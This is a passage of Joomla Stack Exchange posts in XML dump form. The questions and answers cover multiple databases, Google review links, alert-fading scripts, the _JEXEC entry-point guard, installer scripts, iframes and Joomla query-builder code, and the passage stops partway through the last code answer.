  <row Id="24166" PostTypeId="1" AcceptedAnswerId="24167" CreationDate="2019-01-29T20:35:32.120" Score="0" ViewCount="39" Body="&lt;p&gt;I want to use a second database for the product data.&lt;br&gt;&#xA;Is it possible to connect to two database and using of &lt;code&gt;JFactory::getDbo();&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="8968" LastActivityDate="2019-01-29T20:48:19.200" Title="Connect to two MySQL db's" Tags="|database|jdatabase|" AnswerCount="1" CommentCount="2" ClosedDate="2019-06-19T08:04:52.573" ContentLicense="CC BY-SA 4.0" />
  <row Id="24167" PostTypeId="2" ParentId="24166" CreationDate="2019-01-29T20:48:19.200" Score="1" Body="&lt;p&gt;Yep. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official doc&#xA;&lt;a href=&quot;https://docs.joomla.org/Connecting_to_an_external_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Connecting_to_an_external_database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note this question has been asked before.&#xA;E.G. &lt;a href=&quot;https://joomla.stackexchange.com/questions/21583/i-am-trying-to-connect-two-database-with-one-joomla-site&quot;&gt;I am trying to connect two database with one Joomla site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-01-29T20:48:19.200" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24168" PostTypeId="2" ParentId="24164" CreationDate="2019-01-29T22:28:08.027" Score="3" Body="&lt;p&gt;&lt;strong&gt;Using a Joomla Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are currently very few Joomla extensions that help with displaying Google Reviews. Examples include &lt;a href=&quot;https://extensions.joomla.org/extension/google-business-reviews&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Business Reviews&lt;/a&gt; (from €34.95) and &lt;a href=&quot;https://extensions.joomla.org/extension/google-reviews-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Reviews Pro&lt;/a&gt; (from $39.00).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;A Quick Option&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another free quick option, not involving a Google API key, is to manually recreate a few positive reviews with appropriate links for website visitors to read more reviews / leave a new review. You can see an example on Kamron Brooks website at &lt;a href=&quot;https://skyspider.com.au/#reviews&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://skyspider.com.au/#reviews&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can add a &amp;quot;&lt;strong&gt;Show More Reviews&lt;/strong&gt;&amp;quot; button to link directly to the reviews page on Google. For a direct link to the reviews, search for your business in Google, click on the &amp;quot;View all Google reviews&amp;quot; link in the business details on the right hand side of the page and use the url in the address bar.&lt;/p&gt;&#xA;&lt;p&gt;You can also add a &amp;quot;&lt;strong&gt;Write a Review&lt;/strong&gt;&amp;quot; button to make it easier for website visitors to leave you a Google review. To obtain the correct link, log in to Google, search for your business in Google and click on the &amp;quot;Get more reviews&amp;quot; in the business details on the right hand side of the page to reveal the link.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2022-12-05T05:48:11.313" LastActivityDate="2022-12-05T05:48:11.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24169" PostTypeId="2" ParentId="3594" CreationDate="2019-01-29T23:02:15.047" Score="1" Body="&lt;p&gt;This works fine but only once. If there is a second message rendered the script is not triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use this it works &lt;strong&gt;everytime&lt;/strong&gt; to fade a success alert:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setInterval(function() {&#xA;    jQuery('.alert-success').parents('#system-message-container').fadeOut('fast');&#xA;}, 5000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use it in the front-end by adding this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$buffer .= &quot;&amp;lt;script&amp;gt;    &#xA;            setInterval(function() {&#xA;              jQuery('.alert-success').parents('#system-message-container').fadeOut('fast');&#xA;            }, 5000);&#xA;            console.log('timout triggered');&#xA;            &amp;lt;/script&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after line 14 in messages.php (originally found in templates/beez3/html/layouts/joomla/system) and put that in your template/html folder.&lt;/p&gt;&#xA;" OwnerUserId="13294" LastEditorUserId="12352" LastEditDate="2019-01-30T00:02:28.923" LastActivityDate="2019-01-30T00:02:28.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24170" PostTypeId="2" ParentId="24159" CreationDate="2019-01-29T23:23:29.680" Score="1" Body="&lt;p&gt;I'm sorry to not answer your question directly. I just came off Component-Creator.com having terrible experience with them. Mostly because I encountered too many bugs with their system. The big disadvantage is not being able to create a complete component within their system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a hidden gem that I don't want you to miss: &lt;a href=&quot;https://www.joomlacomponentbuilder.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.joomlacomponentbuilder.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It lets you create a full-fledged component and compile it.&lt;/li&gt;&#xA;&lt;li&gt;No customisations after compilation needed.&lt;/li&gt;&#xA;&lt;li&gt;Their support is better than the pricey support at component-creator.com.&lt;/li&gt;&#xA;&lt;li&gt;Best of all -- &lt;strong&gt;It's free!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Oh and your problem is a standard feature of JCB. No need to code it in.&lt;/p&gt;&#xA;" OwnerUserId="13294" LastEditorUserId="12352" LastEditDate="2019-01-30T00:28:29.937" LastActivityDate="2019-01-30T00:28:29.937" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24172" PostTypeId="1" AcceptedAnswerId="24216" CreationDate="2019-01-30T06:01:14.367" Score="0" ViewCount="181" Body="&lt;p&gt;I've installed Joomla 4 beta 7 for development upgrading a Joomla 3 component. I have my logs (apparently) working correctly and I have test error log messages printing to the PHP error log as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Joomla error reporting set to &lt;code&gt;Maximum&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try installing my component, it gives a pop up saying &quot;Internal Server Error&quot; and then there's nothing in the logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest why there'd be no error messages printing to screen or to the error logs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;php-fpm.d/www.conf&lt;/code&gt; shows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_flag[display_errors] = on&#xA;php_admin_value[error_log] = /Users/myuser/php_error.log&#xA;php_admin_flag[log_errors] = on&#xA;php_admin_value[memory_limit] = 32M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and those are reflected in the Joomla phpinfo tab.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12352" LastEditDate="2019-01-30T06:11:17.537" LastActivityDate="2019-02-05T20:26:31.697" Title="Joomla 4 beta - Internal Service Error but no logged error" Tags="|custom-component|installation|logs|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24174" PostTypeId="1" CreationDate="2019-01-30T11:15:36.910" Score="2" ViewCount="1012" Body="&lt;p&gt;I want to use hatemile-for-php library (&lt;a href=&quot;https://github.com/hatemile/hatemile-for-php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/hatemile/hatemile-for-php&lt;/a&gt;) in my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am only ever using this library within this one plugin, I included it in the plugin folder instead of the libraries folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I wonder, if I had to add the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the begin of each PHP file of this external library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look into the Joomla libraries folder (for example /libraries/phpass/PasswordHash.php) and into some popular Joomla extensions. I realized that there are the third party PHP files included without the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on the top of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it the correct way to use an external library with Joomla!?&lt;/p&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="12352" LastEditDate="2019-01-31T09:26:23.760" LastActivityDate="2019-02-06T20:46:17.537" Title="Using external PHP library and defined('_JEXEC') or die;" Tags="|joomla-3.x|development|plugin|security|external-script|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24175" PostTypeId="2" ParentId="19125" CreationDate="2019-01-30T15:19:55.383" Score="0" Body="&lt;p&gt;To get the name of the temporary install directory from within the installer script - &lt;code&gt;script.php&lt;/code&gt;, use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function install($parent)&#xA;{&#xA;    $temp_dir = $parent-&amp;gt;getParent()-&amp;gt;getPath('source');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you need it during updates, then place it in the update method.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2019-01-30T15:19:55.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24177" PostTypeId="2" ParentId="24174" CreationDate="2019-01-30T19:22:01.660" Score="2" Body="&lt;p&gt;&lt;strong&gt;It’s a good question and a bad question at the same time.&lt;/strong&gt; Why? Good, because the question sounds ‘exotic’ for many many Joomla users/superusers. Why this small line of code is there everywhere like the coca-cola of Joomla. :) 'Nobody' understands why it works that much.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('gooo to hell!');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question is bad because in the Joomla documentation it is quite clearly explained what this line is, why it is there and when to use it and when not to. So the regular, knowledgeful users of Joomla stackexchange do not like to answer these kind of questions, since it takes a click to the official Joomla doc and someone just has to read it within 2 minutes. Why to copy it here? But, let’s just put the info here, really just for fun:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;_JEXEC is a constant that is typically defined in the index.php file at the root of the Joomla! instance and is used to mark a secure entry point into Joomla. The defined or die check makes sure that _JEXEC has been defined in the pathway to get to the file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The general rule for the JEXEC check is if the PHP file depends on another file to operate properly. Typically if you access a file directly without the JEXEC check and a PHP error is raised (presuming your PHP error reporting is set to show errors by default) about a missing variable, function, object or similar then the file needs to be protected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some files don't need to be protected from this check. They might be files with no external dependencies (e.g. a simple class or bit of code) or they might be external files that can operate without being within Joomla!. Examples of this include TinyMCE's GZip'd Javascript generator which is entirely self contained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It’s quite clear explanation (copied from the doc) Based on the above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would not put jexec on the top of those files mentioned in the question. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Link to the doc:&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/JEXEC&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JEXEC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not only an exotic question, but a good horror subject apparently with all kinds of nasty ghosts in it, anytime, anywhere. But what if this and what if that... Good question. :) So if a person is more like a paranoid type, then in any case it's better to include _jexec check on top of all files even without investigating the files and functions and understanding anything. That's for sure. (I’ll ask OSM to officially add these last missing sentences to their docs). ;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was not part of the question but important:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If your extension is made for public and going to be distributed and used on many Joomla websites then it’s a must for using _jexec defined check on the top of all PHP files. It’s the ‘Better to be paranoid’ law.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-02-01T10:10:34.067" LastActivityDate="2019-02-01T10:10:34.067" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24178" PostTypeId="2" ParentId="24157" CreationDate="2019-01-30T19:34:09.067" Score="1" Body="&lt;p&gt;In the end I went with the script method I'd suggested in my question. Id did this because it meant that I could keep the cli file within the component, add it to the correct location when the component installed and remove it on uninstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this by adding a new cli folder to the root of my component, which contained the cli file I wanted to add &lt;code&gt;com_mycomponent_cron.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the script file, pointed to by the &lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&lt;/code&gt; in the components manifest xml, I added the following to both the install and update methods.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function install($parent)&#xA;{&#xA;    $source = \JPath::clean($parent-&amp;gt;getParent()-&amp;gt;getPath('source') . '/cli/com_mycomponent_cron.php');&#xA;    if ( !file_exists($source) ) {&#xA;        throw new RuntimeException('File cli/com_mycomponent_cron.php does not exist', 500);&#xA;    }&#xA;    $dest = \JPath::clean(JPATH_ROOT . '/cli/com_mycomponent_cron.php');&#xA;&#xA;    //attempt to copy the file&#xA;    if ( !\JFile::copy($source,$dest) ) {&#xA;        throw new RuntimeException('Could not copy com_mycomponent_cron.php to cli folder.',500);&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the uninstall method I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function uninstall($parent)&#xA;{&#xA;    $cli_script_path = \JPath::clean(JPATH_ROOT . '/cli/com_mycomponent_cron.php');&#xA;    if ( file_exists($cli_script_path) ) {&#xA;        \JFile::delete($cli_script_path);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've decided not to accept @Sharky's answer or mark my own as correct, as I don't think either are the 'correct' Joomla way to do things. Although I suspect that there probably isn't a 'correct' way.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2019-01-30T19:34:09.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24179" PostTypeId="2" ParentId="24154" CreationDate="2019-01-31T07:37:22.680" Score="0" Body="&lt;p&gt;What you're trying to achieve is possible with custom fields but it's not convenient. What you would need to do is clear the field value every time you create or edit an article. This way it won't be saved to the database and the actual default value set in custom field parameters will be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the correct solution would be a proper shortcode extension.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-31T07:37:22.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24180" PostTypeId="2" ParentId="20642" CreationDate="2019-01-31T11:14:27.213" Score="1" Body="&lt;p&gt;[This page appears abandoned, so I'll transfer the commented solution as an answer.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As described in the comments, the issue was with the camelcasing in the filename. For Joomla to access the file, the filename must be in lowercase:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;models/fields/categoryList.php&lt;/strong&gt; should be &lt;strong&gt;models/fields/categorylist.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Additionally, I'll offer a revised &lt;code&gt;getOptions()&lt;/code&gt; function declaration with Joomla query building syntax to replace the raw sql string and do my best to implement &lt;a href=&quot;https://developer.joomla.org/coding-standards/php-code.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's php coding standards&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptions()&#xA;{&#xA;    $section = JFactory::getApplication()-&amp;gt;input-&amp;gt;get-&amp;gt;get(&quot;section&quot;);&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $subquery = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;quoteName(&quot;id&quot;))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName(&quot;#__categories&quot;))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName(&quot;title&quot;) . &quot; = &quot; . $db-&amp;gt;quote($section));&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;quoteName([&quot;id&quot;, &quot;title&quot;]))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName(&quot;#__categories&quot;))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName(&quot;parent_id&quot;) . &quot; IN (&quot; . $subquery . &quot;)&quot;);&#xA;&#xA;    $rows = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectlist();&#xA;    $categories[null] = 'Please Select';&#xA;    foreach ($rows as $row)&#xA;    {&#xA;        $categories[$row-&amp;gt;id] = $row-&amp;gt;title;&#xA;    }&#xA;    return $categories;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-01-31T11:14:27.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24181" PostTypeId="2" ParentId="24154" CreationDate="2019-01-31T12:03:17.470" Score="1" Body="&lt;p&gt;Actually I would not close this question. Because there are simple answers to it, like what Sharky gave. But there is a simpler, more user friendly solution of this question which is using modules inside articles (or below or above) for the purpose mentioned in the question. If I understood the question well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place any content into a custom module (text, images, anything) with a custom module position and then you change that content of that module later, then anywhere that module is published e.g. using &lt;code&gt;{loadposition custommoduleposition}&lt;/code&gt;, the displayed content will be changed too. That is the purpose of the OP here. And that’s what modules are there for in Joomla for example. If he changes the content it has to be reflected everywhere it displayed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, create and use custom modules instead of fields for your purpose.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="120" LastEditDate="2019-02-10T09:31:55.833" LastActivityDate="2019-02-10T09:31:55.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24182" PostTypeId="1" AcceptedAnswerId="24183" CreationDate="2019-01-31T15:04:47.470" Score="1" ViewCount="282" Body="&lt;p&gt;I would like to summarize my problem: I need to obscure the source of the iframe from the source code. To do this I have to use javascript code and obfuscator. By inserting the following obfuscated code it does not show me anything but the outline of the iframe.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&amp;gt;&#xA;$(document).ready(function(e) {&#xA;    $('iframe').attr('src','https://google.com')&#xA;;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;iframe id=&quot;iframe&quot; width=&quot;1200&quot; height=&quot;600&quot;&amp;gt; &amp;lt;/iframe&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is my code wrong or is it that Joomla that fails to load the source via javascript? &lt;/p&gt;&#xA;" OwnerUserId="12868" LastEditorUserId="12352" LastEditDate="2019-02-08T03:57:09.217" LastActivityDate="2019-02-08T03:57:09.217" Title="iFrame with javascript" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24183" PostTypeId="2" ParentId="24182" CreationDate="2019-01-31T15:15:48.937" Score="3" Body="&lt;p&gt;Firstly, your Javascript contains an error so it won't run at all. Specifically you're missing a &lt;code&gt;)&lt;/code&gt; near the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, Google send a &lt;code&gt;X-Frame-Options: SAMEORIGIN&lt;/code&gt; header, basically meaning you cannot run Google pages in an iframe unless your page is hosted on the same domain as Google itself, which is isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, I think you're misunderstood by the word &lt;code&gt;obfuscate&lt;/code&gt;. It basically means unreadable code. Just because you're loading the iframe source via Javascript, does not mean people won't be able to see the code.&#xA;This is an example of proper obfuscation: &lt;a href=&quot;https://obfuscator.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://obfuscator.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is a working example if what you were trying to achieve in your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/Le3tcu0b/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/Le3tcu0b/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-02-01T08:21:00.190" LastActivityDate="2019-02-01T08:21:00.190" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="24185" PostTypeId="1" CreationDate="2019-01-31T21:36:09.903" Score="1" ViewCount="90" Body="&lt;p&gt;I am using iceMegaMenu and dropdown menu features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a one dropdown, which is working fine, but I have a problem with displaying it on mobile phones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's by default expanded, but I want to hide it and only show it by clicking on the arrow. Everything is default and I didn't edit anything in the menu code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it should be feature available in options, but there's nothing like this in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using joomla 3.7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TLDR : Menu is showed by default. I want it to be hidden and only expanded when I click on the arrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZECso.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZECso.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13299" LastEditorUserId="12352" LastEditDate="2019-01-31T22:40:23.480" LastActivityDate="2019-01-31T22:40:23.480" Title="IceMegaMenu dropdown on mobile" Tags="|menu|joomla-3.7|dropdown|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24186" PostTypeId="2" ParentId="7284" CreationDate="2019-02-01T04:15:02.563" Score="1" Body="&lt;p&gt;If you are getting &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;Guest&lt;/code&gt; every time on your webserver, I recommend that you step through your conditional statement and subsequent lines of code and ensure that the intended data is being accessed/included/loaded.  You will need to show us some more detailed break points if there is any chance of resolving this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if (!$user-&amp;gt;guest) {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to check if a user is a guest or not.  I realize this is not a solution for your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for cleaning up Lodder's clean up of the &lt;code&gt;GetUserInfo()&lt;/code&gt; function block, here's my recommendation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function GetUserInfo()&#xA;{&#xA;    $user = GetJoomUser();&#xA;&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;quoteName(&#xA;            [&quot;jom_user&quot;, &quot;lg_abbr&quot;, &quot;lg_team_num&quot;, &quot;ype_id&quot;, &quot;draft_utility&quot;],&#xA;            [&quot;JomUser&quot;,  &quot;league&quot;,  &quot;team_num&quot;,    null,     null]&#xA;        ))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName(&quot;tbl_users&quot;))  // if tbl_ is the &quot;Joomla prefix&quot;, use #__&#xA;        -&amp;gt;where($db-&amp;gt;quoteName(&quot;jom_user&quot;) . &quot; = &quot;. $db-&amp;gt;quote($user-&amp;gt;username));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    return $db-&amp;gt;loadAssocList();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By making explicit column name and column alias declarations in the SELECT clause, you can assign the output array's keys and values without bothering to loop through the result set.  Since the result set is full prepared, just &lt;code&gt;return $db-&amp;gt;loadAssocList();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain the syntax, the &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; call inside of &lt;code&gt;-&amp;gt;select()&lt;/code&gt; accepts an array of column names as the first parameter.  &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; optionally accepts a second parameter which assigns aliases to the value in the first parameter with the same index.  What may not be intuitive is the use of &lt;code&gt;null&lt;/code&gt; values in the second array.  When you don't wish to assign an alias to a column nominated in the first array, use &lt;code&gt;null&lt;/code&gt; -- the first array value for that position will be used as the key in the result set subarrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendered query will look like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `jom_user` AS `JomUser`,`lg_abbr` AS `league`,`lg_team_num` AS `team_num`,`ype_id`,`draft_utility`&#xA;FROM `tbl_users`&#xA;WHERE `jom_user` = 'somebody'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;*one final warning: if you don't have a balanced number of elements in the two arrays within &lt;code&gt;select()&lt;/code&gt;'s &lt;code&gt;quoteName()&lt;/code&gt; call, the SELECT clause will render empty.  Meaning the query will go straight from &lt;code&gt;SELECT&lt;/code&gt; to &lt;code&gt;FROM ...&lt;/code&gt; on the next line.  This is due to conditional requirements in the core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla core's &lt;code&gt;quoteName()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function quoteName($name, $as = null)&#xA;{&#xA;    if (is_string($name))&#xA;    {&#xA;        $quotedName = $this-&amp;gt;quoteNameStr(explode('.', $name));&#xA;        $quotedAs = '';&#xA;        if (!is_null($as))&#xA;        {&#xA;            settype($as, 'array');&#xA;            $quotedAs .= ' AS ' . $this-&amp;gt;quoteNameStr($as);&#xA;        }&#xA;        return $quotedName . $quotedAs;&#xA;    }&#xA;    else&#xA;    {&#xA;        $fin = array();&#xA;        if (is_null($as))&#xA;        {&#xA;            foreach ($name as $str)&#xA;            {&#xA;                $fin[] = $this-&amp;gt;quoteName($str);&#xA;            }&#xA;        }&#xA;        elseif (is_array($name) &amp;amp;&amp;amp; (count($name) == count($as)))&#xA;        {&#xA;            $count = count($name);&#xA;            for ($i = 0; $i &amp;lt; $count; $i++)&#xA;            {&#xA;                $fin[] = $this-&amp;gt;quoteName($name[$i], $as[$i]);&#xA;            }&#xA;        }&#xA;        return $fin;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if you are not working with indexed arrays, then by definition you will have at least one element which cannot be reached by the &lt;code&gt;$i&lt;/code&gt; counter and you will have problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just quietly, I'll add that the extra parentheses in &lt;code&gt;(count($name) == count($as))&lt;/code&gt; are unnecessary.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-04-19T11:45:08.637" LastActivityDate="2020-04-19T11:45:08.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24187" PostTypeId="2" ParentId="14469" CreationDate="2019-02-01T07:05:42.650" Score="0" Body="&lt;p&gt;I suppose the only two columns of importance to your users will be &lt;code&gt;subject&lt;/code&gt; and &lt;code&gt;body&lt;/code&gt;.  After requiring your users to be logged in, you can craft your query to exclude notes assigned to other users and unpublished notes.  I'll demonstrate how to build your SELECT clause so that displaying a simple html table is a breeze with &lt;code&gt;implode()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if (!$user-&amp;gt;guest) {&#xA;    $db =JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;qn([&quot;subject&quot;, &quot;body&quot;], [&quot;Topic&quot;, &quot;Note&quot;]))&#xA;        -&amp;gt;from($db-&amp;gt;qn(&quot;#__user_notes&quot;))&#xA;        -&amp;gt;where([&#xA;            $db-&amp;gt;qn(&quot;user_id) . &quot; = &quot; . (int)$user-&amp;gt;id,  // target the logged in user&#xA;            $db-&amp;gt;qn(&quot;state&quot;) . &quot; = 1&quot;                     // ensure that only published notes are shown&#xA;        